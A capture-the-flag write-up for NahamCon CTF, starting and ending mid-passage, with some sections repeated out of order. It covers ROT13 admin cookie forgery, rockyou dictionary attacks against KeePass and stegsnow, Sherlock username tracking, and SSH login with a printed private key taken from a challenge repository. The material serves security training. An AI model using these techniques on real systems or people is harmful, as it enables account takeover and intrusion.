actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/ ## Easy KeesyDang it, not again... Download the file below. [easy_keesy](assets//files//easy_keesy) **flag{jtr_found_the_keys_to_kingdom}** **Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database: ![](assets//images//easy_keesy.png) This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands: ```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag: ![](assets//images//easy_keesy_1.png) **Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function ## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away! Download the file below.\[peter.png](assets//images//peter.png) **Post CTF Writeup** **flag{ohhhpietwastherabbit}** **Solution:** With the challenge we are given the following PNG image: ![](assets//images//peter.png) this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag: ![](assets//images//peter_2.png) **Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php ## PangThis file does not open! Download the file below. [pang](assets//files//pang) **flag{wham_bam_thank_you_for_the_flag_maam}** **Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck: ![](assets//images//pang_1.png) The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red: ![](assets//images//pang_2.png)![](assets//images//pang_3.png) and by saving the modified file and viewing it again we get the flag: ![](assets//images//pang.png) **Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/ ***# OSINT ## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was... Connect here:\https://apporima.com/ **JCTF{the_wayback_machine}** **Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is: ![](assets//images//time_keeper.png) we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page: ![](assets//images//time_keeper_2.png) link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/` You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag: ![](assets//images//time_keeper_3.png) **Resources:*** Wayback Machine: https://archive.org/web/ ## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies! Connect here: jh2i.com **flag{next_year_i_wont_use_spf}** **Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is: `dig jh2i.com ANY` and we have our flag in the output of the command: ![](assets//images//new_year_resolution.png) **Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig ## Finsta This time we have a username. Can you track down `NahamConTron`? **flag{i_feel_like_that_was_too_easy}** **Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command: `python3 sherlock NahamConTron` and the commands returns the following list of accounts: ```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6``` by looking at the instegram account we can find our flag at the accout description: ![](assets//images//finsta.png) **Resources:*** Sherlock: https://github.com/sherlock-project/sherlock ## Tron NahamConTron is up to more shenanigans. Find his server. **flag{nahamcontron_is_on_the_grid}** **Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it: ![](assets//images//tron_1.png) there are 2 repositories for the user: ![](assets//images//tron_2.png) the second one is not very helpful: ![](assets//images//tron_3.png) but the first one has some interesting files: ![](assets//images//tron_4.png) the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo? ![](assets//images//tron_5.png) yeah it is!, the private key is: ```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----``` and we can connect to the server, using the same command, and in the server we find our flag: ![](assets//images//tron_6.png) ***# Steganography ## KstegThis must be a typo.... it was kust one letter away! Download the file below. [luke.jpg](assets//images//luke.jpg) **flag{yeast_bit_steganography_oops_another_typo}** **Solution:** With the challenge we get the following JPEG image: We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command: ![](assets//images//luke_1.png) **Resources:*** Jsteg: https://github.com/lukechampine/jsteg ## DohDoh! Stupid steganography... **Note, this flag is not in the usual format.** Download the file below. [doh.jpg](assets//images//doh.jpg) **JCTF{an_annoyed_grunt}** **Solution:** With the challenge we get the following JPEG image: because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag: ![](assets//images//doh_1.png) **Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html ## Beep BoopThat must be a really long phone number... right? Download the file below. [flag.wav](assets//files//flag.wav) **flag{do_you_speak_the_beep_boop}** **Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code: ```46327402297754110981468069185383422945309689772058551073955248013949155635325 ```we can execute the following command to extract the number: `multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"` I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag: ![](assets//images//beep_boop.png) **Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes ## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one? Note, this flag is not in the usual format. Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt) **JCTF{gemmy_spinning_snowflake}** **Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman ``` but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file: ![](assets//images//snowman_1.png) these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work: ![](assets//images//snowman_2.png) After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy): ```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file``` by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern): ![](assets//images//snowman_3.png) **Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html ## My ApologiesNothing witty to say here... just that I am sorry. Note, this flag is not in the usual format. Download the file below.\[apologies.txt](assets//files//apologies.txt) **flag_i_am_so_sorry_steg_sucks** **Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message: ```Turns out the steganographⅰc technique we were
using dⅰdn't really make
